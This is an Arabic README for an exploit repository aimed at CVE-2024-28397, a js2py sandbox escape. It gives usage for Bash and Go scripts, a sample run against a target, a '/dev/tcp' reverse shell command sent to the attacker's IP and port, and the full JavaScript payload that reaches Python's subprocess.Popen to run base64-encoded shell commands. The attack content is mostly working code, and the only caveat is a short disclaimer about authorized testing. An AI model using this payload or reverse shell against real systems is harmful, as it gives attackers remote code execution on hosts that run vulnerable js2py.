
# نصوص استغلال لـ CVE-2024-28397، ثغرة هروب من بيئة js2py المعزولة تنفذ كود Python عشوائيًا لفتح قشرة عكسية على نقطة الهدف.
مجموعة من سكريبتات الاستغلال التي تستهدف ثغرة الهروب من صندوق الرمل js2py (CVE-2024-28397) والتي تسمح بتنفيذ تعليمات برمجية عشوائية من خلال فحص كائنات بايثون الداخلية.
تحتوي مكتبة js2py على ثغرة حرجة للهروب من صندوق الرمل تسمح للمهاجمين بتنفيذ كود بايثون عشوائي عن طريق الوصول إلى كائنات بايثون الداخلية من خلال طريقة Object.getOwnPropertyNames() في جافاسكريبت.
يعتمد هذا الاستغلال على التحليل الشامل الذي أجراه Marven11:
يحتوي هذا المستودع على ثلاثة تطبيقات مختلفة:
exploit.sh)تطبيق Bash خفيف الوزن باستخدام curl و jq.
exploit.go)تطبيق Go عبر المنصات مع عميل HTTP مدمج.
curl، jq، base64جميع السكريبتات تفاعلية وستطلب المعلومات المطلوبة:
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
سيطلب كل سكريبت:
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
يقوم الاستغلال بإنشاء أمر صدفة عكسية ديناميكياً:
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
يتم ترميز أمر الصدفة بـ base64 للنقل الآمن:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
يستخدم الاستغلال الأساسي جافاسكريبت للوصول إلى كائنات بايثون الداخلية:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({})__class__.__base__.__getattribute__subprocess.PopenPopenهذه السكريبتات مُقدمة لأغراض تعليمية واختبارية مصرح بها فقط. تأكد دائمًا من حصولك على الترخيص المناسب قبل الاختبار على أي أنظمة.
يتم توفير هذا البرنامج لأغراض تعليمية واختبار أمني مصرح به فقط. يتحمل المستخدمون مسؤولية الامتثال للقوانين المعمول بها والحصول على الترخيص المناسب قبل الاستخدام.